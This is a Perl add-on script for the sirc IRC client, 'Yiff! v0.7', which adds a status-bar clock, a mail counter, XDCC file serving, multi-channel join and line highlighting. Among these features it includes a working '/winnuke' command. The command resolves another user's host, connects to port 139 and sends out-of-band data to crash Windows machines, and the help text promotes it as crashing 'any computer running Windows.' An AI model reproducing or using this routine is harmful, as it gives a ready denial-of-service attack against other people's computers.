# __ ___ __ __ _ # \ \ / (_)/ _|/ _| | # \ \_/ / _| |_| |_| | # \ / | | _| _| | # | | | | | | | |_| # |_| |_|_| |_| (_) # # _ # _|_ |_ _ _|_ _ ._ _ ._ | o._ _ _ _ ._ o._ _|_ # |_ | |(/_ | (_)><\/ |_)(/_| | || (_ _>(_ | ||_) |_ # / | | # __ ____ # __ __/ \|__ | # \ V / () | / / # \_/ \__(_)_/ # # -- by Che Fox (che@imsa.edu) (Che_Fox on EFNet/YiffNet) # # Yiff! is a little script I wrote to put a few of the functions I've always # wanted to have into IRC; now that I can do my IRC scripts in Perl with the # help of sirc, it's simple to program! # # Yiff! puts a bit of extra functionality into sirc: # # A clock is added to the status bar # A clock is displayed in the channel-text every minute (so we idlers can see # just how old a message is :) This can be turned off in $y_printtime. # /exec does a /system and displays the output to the current channel/query # Lines are highlighted via a regexp (use /sethilite or change $y_regexp # below to edit the regexp) # /fop does four cute /mode +os on a nick # A MOTD hook is added, to run anything on startup; currently, a /mode +i # (invisible to /list and other neat things) is implemented. # XDCC sending capabilities are added. You can set up any number of files # to be automatically sent to anyone who asks; if they /ctcp yournick XDCC # SEND #1, they'll get a DCC request to get that file. You need to add # files to the send-list beforehand with /xdcc add. # If you have mail, the number of pieces waiting for you will be displayed # on the status bar. # /init initializes an (optional) channel to an (optional) topic by removing # +i, +v, +p, etc., and adding +n and +t. # /j or /join with more than one channel in the arguments will join all # those channels. # The number of people currently in the active channel is displayed on the # status bar. # # That's about it for now. Yiff! requires sirc to use (duh ;) -- get your copy # from http://www.eleves.ens.fr:8080/home/espel/sirc.html today! # # Version History: # v0.1: Released Yiff! to a few people to see if they thought it was cute # and/or useful. Not very clean code yet, but it works. # # v0.2: Added XDCC capabilities to Yiff!, made a few code changes # # v0.3: Added a neat little mailwatch to the status bar. # # v0.4: Changed the default XDCC to start at #1. # # v0.5: Added /init, changed the default regexp to not be so vain. # # v0.6: Fixed mail-watch to look for 'From ' instead of 'From:' (thanks # borys!). Added code to keep track of how many users are on each # channel, and display it on the status bar. New /join will join # more than one channel at once (separated by spaces). # # v0.7: Yay! sirc 2.2 has all the new hooks I requested! Completely re- # wrote yiff to support the print and status hooks! Moved the clock # to the right side of the screen to be less obnoxious. Added # $y_printtime so the clock can be turned off. Added /winnuke. # use Socket; # for winnuke my $y_version = 'v0.7'; $add_ons .= "+Yiff! $y_version" if ($add_ons !~ /Yiff/); my $y_regexp = 'yiff'; # Change this at will to highlight any lines # that you wish. my $y_printtime = 1; # If you do not wish the time to be # printed each minute, set this to 0. my (@y_xdcclist, $y_mailfilesize, $y_mailcount, $y_sendcount, $y_getcount, %y_users, %y_numusers); sub cmd_winnuke { my $luser; foreach $luser (split /\s+/, $args) { userhost($luser, "&winnuke"); } } addcmd 'winnuke'; sub winnuke { my $paddr = sockaddr_in(139, inet_aton($host)); print "*\cbY\cb* Winnuking $host...\n"; socket(YIFF, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or print ("*\cbY\cb* Couldn't winnuke: $!\n"), return; connect(YIFF, $paddr) or print "*\cbY\cb* Couldn't winnuke: $!\n"; send(YIFF, "yiff!", MSG_OOB ); close(YIFF); } sub cmd_join { my $chan; foreach $chan (split /\s+/, $args) { sl "JOIN $chan"; } } addcmd 'join'; sub cmd_j { my $chan; foreach $chan (split /\s+/, $args) { sl "JOIN $chan"; } } addcmd 'j'; sub hook_yjoin { my $chan = shift; $y_numusers{lc $chan}++; push @{$y_users{lc $chan}}, $who unless grep (/^\Q$who\E$/i, @{$y_users{lc $chan}}); dostatus(); } addhook 'join', 'yjoin'; sub hook_yleave { my $chan = shift; $y_numusers{lc $chan}--; @{$y_users{lc $chan}} = grep (!/^\Q$who\E$/, @{$y_users{lc $chan}}); dostatus(); } addhook 'leave', 'yleave'; sub hook_ykick { my ($nick, $chan) = @_; $y_numusers{lc $chan}--; @{$y_users{lc $chan}} = grep (!/^\Q$who\E$/, @{$y_users{lc $chan}}); dostatus(); } addhook 'kick', 'ykick'; sub hook_ynick { my $newnick = shift; for (@{$y_users{lc $chan}}) { s/^\Q$who\E$/\Q$newnick\E/; } dostatus(); } addhook 'nick', 'ynick'; sub hook_ysignoff { for (@channels) { @{$y_users{lc $_}} = grep (!/^\Q$who\E$/i, @{$y_users{lc $_}}); $y_numusers{lc $_} = scalar @{$y_users{lc $_}}; } dostatus(); } addhook 'signoff', 'ysignoff'; sub hook_ynames { $args =~ s/://g; my ($crap, $crap2, $y_chan, $y_nicks) = split(/\s+/, $args, 4); $y_chan = lc $y_chan; foreach $crap (split(/\s+/, $y_nicks)) { $crap =~ s/^[\@\+]//; push @{$y_users{$y_chan}}, $crap unless grep(/^\Q$crap\E$/i, @{$y_users{$y_chan}}); } $y_numusers{$y_chan} = scalar @{$y_users{$y_chan}}; dostatus(); } addhook '353', 'ynames'; sub hook_startup { # MOTD hook; does things on startup. docommand "/mode $nick +i"; # See? Isn't that handy? } addhook '376', 'startup'; sub hook_yctcp { $silent = 1; local ($whoto, $command, $args) = @_; local ($y_count, $y_size) = (0, 0); $command =~ tr/a-z/A-Z/; if ($command eq "XDCC") { if ($args =~ /^help$/i) { notice $who, "sirc Yiff! help on XDCC:"; notice $who, "/ctcp $nick XDCC LIST to get the list of offered files."; notice $who, "/ctcp $nick XDCC SEND # to send file #."; } if ($args =~ /^list$/i) { notice $who, "sirc Yiff! list of XDCC offered files:"; if (@y_xdcclist) { my $y_temp; for ($y_temp = 1; $y_temp < scalar @y_xdcclist; $y_temp++) { my $y_size = -s $y_xdcclist[$y_temp]->{filename}; notice $who, "File \#$y_temp: \cb$y_xdcclist[$y_temp]->{filename}\cb ($y_size bytes): $y_xdcclist[$y_temp]->{description}"; } } else { notice $who, "No XDCC files currently being offered."; } } if ($args =~ /^send \#?(\d+)/i) { if ($y_xdcclist[$1]) { $y_size = -s $y_xdcclist[$1]->{filename}; notice $who, "Sending \cb$y_xdcclist[$1]->{filename}\cb ($y_xdcclist[$1]->{description}). $y_size bytes."; docommand "dcc send $who $y_xdcclist[$1]->{filename}"; print "*\cbY\cb* Sending $who file \#$1 ($y_xdcclist[$1]->{filename}).\n"; print LOG "*\cbY\cb* Sending $who file \#$1 ($y_xdcclist[$1]->{filename}).\n" if $logging; } } } $silent = 0; } addhook "ctcp", "yctcp"; sub cmd_xdcc { local ($y_filename, $y_description); if ($args =~ /^add (.+?) (.+)/i) { if (!(-e $1)) { print "*\cbY\cb* File $1 does not exist.\n"; return 1; } else { $y_filename = $1; $y_description = $2; } if (scalar @y_xdcclist == 0) { $y_xdcclist[1] = { 'filename' => "$y_filename", 'description' => "$y_description" }; } else { push (@y_xdcclist, { 'filename' => "$y_filename", 'description' => "$y_description" }); } print "*\cbY\cb* $y_filename added as file #$#y_xdcclist with description $y_description\n"; } elsif ($args =~ /^add$/i) { getuserline("*\cbY\cb* Enter a filename to offer:", "Filename>"); if (!(-e $_)) { print "*\cbY\cb* File $_ does not exist.\n"; return 1; } else { $y_filename = $_; getuserline("*\cbY\cb* Enter a description of $y_filename:", "Description>"); $y_description = $_; } if (scalar @y_xdcclist == 0) { $y_xdcclist[1] = { 'filename' => "$y_filename", 'description' => "$y_description" }; } else { push (@y_xdcclist, { 'filename' => "$y_filename", 'description' => "$y_description" }); } print "*\cbY\cb* $y_filename added as file #$#y_xdcclist with description $y_description\n"; } if ($args =~ /^del \#?(\d+)/i) { if (!($y_xdcclist[$1])) { print "*\cbY\cb* You're not offering a file #$1!\n"; return 1; } else { splice (@y_xdcclist, $1, 1); print "*\cbY\cb* File #$1 removed from XDCC offer list.\n"; } } if ($args =~ /^list$/i) { local ($y_size) = 0; print "*\cbY\cb* List of XDCC offered files:\n"; if (@y_xdcclist) { my $y_temp; for ($y_temp = 1; $y_temp < scalar @y_xdcclist; $y_temp++) { $y_size = -s $y_xdcclist[$y_temp]->{'filename'}; print "*\cbY\cb* File #$y_temp: \cb$y_xdcclist[$y_temp]->{'filename'}\cb ($y_size bytes): $y_xdcclist[$y_temp]->{'description'}\n"; } } else { print "*\cbY\cb* No XDCC files offered!\n"; } } } addcmd "xdcc", "xdcc"; addhelp "xdcc", "/xdcc Does one of the following: add Adds with to your XDCC list. Arguments are optional. list Lists currently offered files. del # Removes from your XDCC list. A /ctcp yournick XDCC HELP will get help on all XDCC commands possible."; sub cmd_exec { local (@y_command) = `$args`; if ($query) { for (@y_command) { msg $query, $_; } } else { for (@y_command) { msg $talkchannel, $_; } } } addcmd "exec"; addhelp "exec", "/exec Prints the output of to channel or query"; sub cmd_fop { local $y_chan = $talkchannel; getarg(), $y_chan = $newarg if ($args =~ /^[\#\&]/); local @people = split /\s+/, $args; for (@people) { &sl("MODE $y_chan +oooo $_ $_ $_ $_"); } } addcmd "fop"; addhelp "fop", "/fop ... Does four cute ops on (s)"; sub cmd_yhelp { docommand "/help yiff"; } addcmd "yhelp"; addhelp "yhelp", "/yhelp Gets help on Yiff!, the Foxy Script."; sub cmd_sethilite { $y_regexp=$args if $args; $y_regexp='' if $args eq 'none'; if ($y_regexp) { print "*\cbY\cb* Your search pattern is now $y_regexp\n"; } else { print "*\cbY\cb* You don't have a search pattern set.\n"; } } addcmd "sethilite"; addhelp "sethilite", "/sethilite Highlights any lines with "; sub cmd_init { dosplat(); getarg(); if ($newarg =~ /^[\#&]/) { docommand("/mode $newarg -iklmps+nt"); if ($args) { docommand("/topic $newarg $args"); } else { docommand("/topic $newarg Welcome to $newarg!"); } } else { docommand("/mode $talkchannel -iklmps+nt"); if ($newarg) { $newarg .= " $args" if $args; docommand("/topic $talkchannel $newarg"); } else { docommand("/topic $talkchannel Welcome to $talkchannel!"); } } } addcmd "init"; addhelp "init", "/init Initializes a channel and topic."; sub dotime { ($sec,$min,$hour) = localtime(time); ($min < 10) && ($min = "0" . $min); ($hour < 10) && ($hour = "0" . $hour); return "$hour:$min"; } sub hook_ystatus { if ($talkchannel ne '') { my $chanstat = $y_numusers{lc $talkchannel} . (($y_numusers{lc $talkchannel} eq 1) ? " user" : " users" ); $_[0] =~ s/(\#\w+ \(\+.*?)\)/"$1, $chanstat\) " . dotime() . domail()/e; } } addhook('status', 'ystatus'); sub domail { $ENV{'MAIL'} ||= "/var/spool/mail/$ENV{LOGNAME}"; if (-s $ENV{'MAIL'} != $y_mailfilesize) { $y_mailfilesize = -s $ENV{'MAIL'}; $y_mailcount = 0; open (Y_MAIL, $ENV{'MAIL'}) || die "Error opening mail file: $!\n"; while () { $y_mailcount++ if /^From /; } close Y_MAIL; } return " Mail: $y_mailcount" if $y_mailcount; } sub hook_yprint { if ($thetime ne dotime()) { $thetime = dotime(); $printtime = 1; } else { $printtime = 0; } if ($_[0] =~ /$y_regexp/i) { $_[0] =~ tr/\c_\cb\cv//d; $_[0] =~ s/(.*)/\cb$1\cb/; } if ($printtime and $y_printtime) { my ($justchars) = $_[0]; $justchars =~ s/[\ca-\cz\c_]//g; if (length $justchars <= 71) { $_[0] .= ' ' x (71 - (length $justchars)); $_[0] .= " [\cb" . dotime() . "\cb]"; dostatus(); } else { $thetime = ''; } } } addhook ('print', 'yprint'); addhelp "yiff", "/exec Prints the output of to channel or query /fop ... Does four cute ops on (s) /sethilite Highlights lines with /xdcc See /help xdcc for more on this. /init Initializes a channel and topic. /winnuke Crashes any computer running Windows. Really. "; print("*\cbY\cb* \c_Che_Fox\c_'s *\cvyiff.pl $y_version\cv* for sirc loaded; type /yhelp for help\n");